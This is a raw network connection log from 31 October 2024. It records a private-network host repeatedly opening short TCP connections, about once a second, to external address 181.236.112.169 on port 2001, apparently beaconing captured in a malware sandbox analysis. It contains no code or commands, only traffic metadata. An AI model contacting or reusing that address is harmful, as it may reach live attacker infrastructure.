Oct 31, 2024 07:42:07.083982944 CET	2001	49816	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:07.629740000 CET	2001	49816	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:07.629817963 CET	49816	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:07.632901907 CET	49816	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:07.637749910 CET	2001	49816	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:08.651729107 CET	49824	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:08.656689882 CET	2001	49824	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:08.656781912 CET	49824	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:08.657244921 CET	49824	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:08.662038088 CET	2001	49824	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:09.217772961 CET	2001	49824	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:09.217855930 CET	49824	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:09.217916012 CET	49824	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:09.222879887 CET	2001	49824	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:10.233074903 CET	49833	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:10.238163948 CET	2001	49833	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:10.238262892 CET	49833	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:10.238744020 CET	49833	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:10.243912935 CET	2001	49833	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:10.801986933 CET	2001	49833	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:10.802062035 CET	49833	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:10.802122116 CET	49833	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:10.807002068 CET	2001	49833	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:11.807681084 CET	49844	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:11.812767029 CET	2001	49844	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:11.812850952 CET	49844	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:11.813179016 CET	49844	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:11.818120956 CET	2001	49844	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:12.357122898 CET	2001	49844	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:12.357183933 CET	49844	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:12.357249022 CET	49844	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:12.362209082 CET	2001	49844	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:13.370584011 CET	49853	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:13.377155066 CET	2001	49853	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:13.377221107 CET	49853	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:13.377765894 CET	49853	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:13.382962942 CET	2001	49853	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:13.954794884 CET	2001	49853	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:13.954902887 CET	49853	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:13.954966068 CET	49853	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:13.959804058 CET	2001	49853	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:14.932799101 CET	49861	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:14.937860966 CET	2001	49861	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:14.937952995 CET	49861	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:14.938355923 CET	49861	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:14.943128109 CET	2001	49861	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:15.488902092 CET	2001	49861	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:15.489003897 CET	49861	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:15.489068031 CET	49861	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:15.493891001 CET	2001	49861	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:16.433114052 CET	49872	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:16.438141108 CET	2001	49872	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:16.438230038 CET	49872	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:16.438779116 CET	49872	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:16.443624020 CET	2001	49872	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:16.994286060 CET	2001	49872	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:16.994406939 CET	49872	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:16.994502068 CET	49872	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:16.999506950 CET	2001	49872	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:17.906821966 CET	49881	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:17.911561012 CET	2001	49881	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:17.911649942 CET	49881	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:17.918639898 CET	49881	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:17.923470020 CET	2001	49881	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:18.460721016 CET	2001	49881	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:18.460791111 CET	49881	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:18.460872889 CET	49881	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:18.465761900 CET	2001	49881	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:19.339102983 CET	49889	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:19.343934059 CET	2001	49889	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:19.344019890 CET	49889	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:19.344348907 CET	49889	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:19.349137068 CET	2001	49889	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:19.905015945 CET	2001	49889	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:19.905102015 CET	49889	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:19.905165911 CET	49889	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:19.909960985 CET	2001	49889	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:20.760952950 CET	49899	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:20.765873909 CET	2001	49899	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:20.765980959 CET	49899	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:20.766371965 CET	49899	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:20.771145105 CET	2001	49899	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:21.309994936 CET	2001	49899	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:21.310101032 CET	49899	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:21.310157061 CET	49899	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:21.315084934 CET	2001	49899	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:22.239376068 CET	49910	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:22.244115114 CET	2001	49910	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:22.244182110 CET	49910	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:22.244554996 CET	49910	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:22.249378920 CET	2001	49910	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:22.824367046 CET	2001	49910	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:22.824440002 CET	49910	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:22.824481964 CET	49910	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:22.829380989 CET	2001	49910	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:23.620209932 CET	49917	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:23.625097990 CET	2001	49917	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:23.625170946 CET	49917	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:23.625678062 CET	49917	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:23.630458117 CET	2001	49917	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:24.183218002 CET	2001	49917	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:24.184331894 CET	49917	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:24.184406996 CET	49917	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:24.189336061 CET	2001	49917	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:24.955050945 CET	49923	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:24.959939003 CET	2001	49923	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:24.960247040 CET	49923	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:24.962289095 CET	49923	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:24.967119932 CET	2001	49923	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:25.517690897 CET	2001	49923	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:25.517782927 CET	49923	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:25.517882109 CET	49923	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:25.522661924 CET	2001	49923	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:26.261147022 CET	49934	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:26.266113997 CET	2001	49934	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:26.266180992 CET	49934	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:26.266463041 CET	49934	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:26.271294117 CET	2001	49934	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:26.819844961 CET	2001	49934	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:26.819902897 CET	49934	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:26.819921970 CET	49934	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:26.824717999 CET	2001	49934	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:27.562697887 CET	49940	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:27.567790985 CET	2001	49940	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:27.570235968 CET	49940	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:27.570770979 CET	49940	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:27.575661898 CET	2001	49940	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:28.145804882 CET	2001	49940	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:28.145874977 CET	49940	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:28.145911932 CET	49940	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:28.150743008 CET	2001	49940	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:28.838876963 CET	49951	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:28.843775034 CET	2001	49951	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:28.843835115 CET	49951	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:28.844250917 CET	49951	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:28.849026918 CET	2001	49951	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:29.391057014 CET	2001	49951	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:29.391202927 CET	49951	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:29.391284943 CET	49951	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:29.396061897 CET	2001	49951	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:30.071055889 CET	49957	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:30.075895071 CET	2001	49957	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:30.076001883 CET	49957	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:30.076345921 CET	49957	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:30.081130028 CET	2001	49957	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:30.635823011 CET	2001	49957	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:30.635922909 CET	49957	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:30.637116909 CET	49957	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:30.641925097 CET	2001	49957	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:31.292366982 CET	49965	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:31.297219038 CET	2001	49965	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:31.297301054 CET	49965	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:31.297617912 CET	49965	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:31.302341938 CET	2001	49965	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:31.854777098 CET	2001	49965	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:31.854931116 CET	49965	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:31.854931116 CET	49965	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:31.861011982 CET	2001	49965	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:32.479537010 CET	49974	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:32.484529018 CET	2001	49974	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:32.484662056 CET	49974	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:32.485126019 CET	49974	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:32.489888906 CET	2001	49974	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:33.040549040 CET	2001	49974	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:33.040601969 CET	49974	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:33.040630102 CET	49974	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:33.045408010 CET	2001	49974	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:33.652090073 CET	49980	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:33.657464981 CET	2001	49980	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:33.657536983 CET	49980	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:33.657910109 CET	49980	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:33.662765980 CET	2001	49980	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:34.212222099 CET	2001	49980	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:34.212301016 CET	49980	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:34.212367058 CET	49980	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:34.217212915 CET	2001	49980	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:34.807990074 CET	49989	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:34.812743902 CET	2001	49989	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:34.812915087 CET	49989	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:34.813150883 CET	49989	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:34.817939043 CET	2001	49989	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:35.369820118 CET	2001	49989	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:35.369904041 CET	49989	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:35.369972944 CET	49989	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:35.375637054 CET	2001	49989	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:35.948417902 CET	49997	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:35.953207970 CET	2001	49997	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:35.954240084 CET	49997	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:35.954552889 CET	49997	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:35.959337950 CET	2001	49997	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:36.512645960 CET	2001	49997	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:36.512710094 CET	49997	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:36.512805939 CET	49997	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:36.517867088 CET	2001	49997	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:37.057840109 CET	50003	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:37.062771082 CET	2001	50003	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:37.063004017 CET	50003	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:37.063221931 CET	50003	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:37.068030119 CET	2001	50003	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:37.623184919 CET	2001	50003	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:37.623244047 CET	50003	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:37.623311043 CET	50003	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:37.628104925 CET	2001	50003	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:38.152424097 CET	50009	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:38.157294035 CET	2001	50009	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:38.157397032 CET	50009	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:38.157818079 CET	50009	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:38.162678957 CET	2001	50009	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:38.704931021 CET	2001	50009	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:38.705033064 CET	50009	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:38.705033064 CET	50009	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:38.709965944 CET	2001	50009	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:39.214597940 CET	50018	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:39.219414949 CET	2001	50018	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:39.219489098 CET	50018	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:39.219851971 CET	50018	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:39.224639893 CET	2001	50018	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:39.769269943 CET	2001	50018	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:39.769392967 CET	50018	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:39.769445896 CET	50018	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:39.774354935 CET	2001	50018	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:40.261172056 CET	50026	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:40.266078949 CET	2001	50026	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:40.266196012 CET	50026	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:40.270567894 CET	50026	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:40.275464058 CET	2001	50026	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:40.824454069 CET	2001	50026	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:40.824512959 CET	50026	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:40.824548006 CET	50026	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:40.829324961 CET	2001	50026	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:41.308228970 CET	50032	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:41.313417912 CET	2001	50032	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:41.313504934 CET	50032	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:41.314002991 CET	50032	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:41.321600914 CET	2001	50032	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:41.860799074 CET	2001	50032	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:41.864443064 CET	50032	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:41.864443064 CET	50032	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:41.869755030 CET	2001	50032	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:42.338958025 CET	50038	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:42.343837976 CET	2001	50038	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:42.344068050 CET	50038	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:42.344398975 CET	50038	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:42.349208117 CET	2001	50038	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:42.906213045 CET	2001	50038	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:42.906270981 CET	50038	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:42.906296968 CET	50038	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:42.911118984 CET	2001	50038	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:43.379971981 CET	50044	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:43.384880066 CET	2001	50044	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:43.384954929 CET	50044	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:43.385289907 CET	50044	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:43.390068054 CET	2001	50044	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:43.937825918 CET	2001	50044	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:43.938304901 CET	50044	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:43.938363075 CET	50044	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:43.943186045 CET	2001	50044	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:44.370073080 CET	50051	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:44.374952078 CET	2001	50051	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:44.375264883 CET	50051	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:44.375624895 CET	50051	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:44.380413055 CET	2001	50051	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:44.924477100 CET	2001	50051	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:44.924537897 CET	50051	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:44.924568892 CET	50051	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:44.929406881 CET	2001	50051	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:45.354468107 CET	50058	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:45.359273911 CET	2001	50058	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:45.359357119 CET	50058	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:45.359620094 CET	50058	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:45.364428043 CET	2001	50058	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:45.910886049 CET	2001	50058	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:45.914239883 CET	50058	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:45.914287090 CET	50058	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:45.919126987 CET	2001	50058	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:46.323558092 CET	50064	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:46.329150915 CET	2001	50064	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:46.329224110 CET	50064	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:46.329576015 CET	50064	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:46.335578918 CET	2001	50064	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:46.880870104 CET	2001	50064	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:46.880928993 CET	50064	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:46.880959988 CET	50064	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:46.885777950 CET	2001	50064	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:47.280165911 CET	50067	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:47.285170078 CET	2001	50067	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:47.285259962 CET	50067	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:47.287882090 CET	50067	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:47.292829990 CET	2001	50067	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:47.830372095 CET	2001	50067	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:47.832784891 CET	50067	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:47.832961082 CET	50067	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:47.837733984 CET	2001	50067	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:48.214148998 CET	50068	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:48.219053030 CET	2001	50068	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:48.219134092 CET	50068	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:48.219435930 CET	50068	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:48.224236965 CET	2001	50068	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:48.764230967 CET	2001	50068	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:48.765429020 CET	50068	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:48.765429020 CET	50068	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:48.770400047 CET	2001	50068	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:49.136048079 CET	50069	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:49.141171932 CET	2001	50069	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:49.141247988 CET	50069	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:49.141592026 CET	50069	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:49.146692038 CET	2001	50069	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:49.691808939 CET	2001	50069	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:49.692320108 CET	50069	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:49.692399025 CET	50069	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:49.697702885 CET	2001	50069	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:50.058427095 CET	50070	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.063321114 CET	2001	50070	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:50.063565016 CET	50070	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.063925028 CET	50070	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.068805933 CET	2001	50070	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:50.620143890 CET	2001	50070	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:50.620486975 CET	50070	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.620486975 CET	50070	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.625403881 CET	2001	50070	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:50.964499950 CET	50071	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.969660044 CET	2001	50071	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:50.969764948 CET	50071	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.970038891 CET	50071	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:50.975194931 CET	2001	50071	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:51.529062986 CET	2001	50071	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:51.530292988 CET	50071	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:51.530340910 CET	50071	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:51.535185099 CET	2001	50071	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:51.870410919 CET	50072	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:51.875376940 CET	2001	50072	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:51.875468969 CET	50072	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:51.875777960 CET	50072	2001	192.168.2.4	181.236.112.169
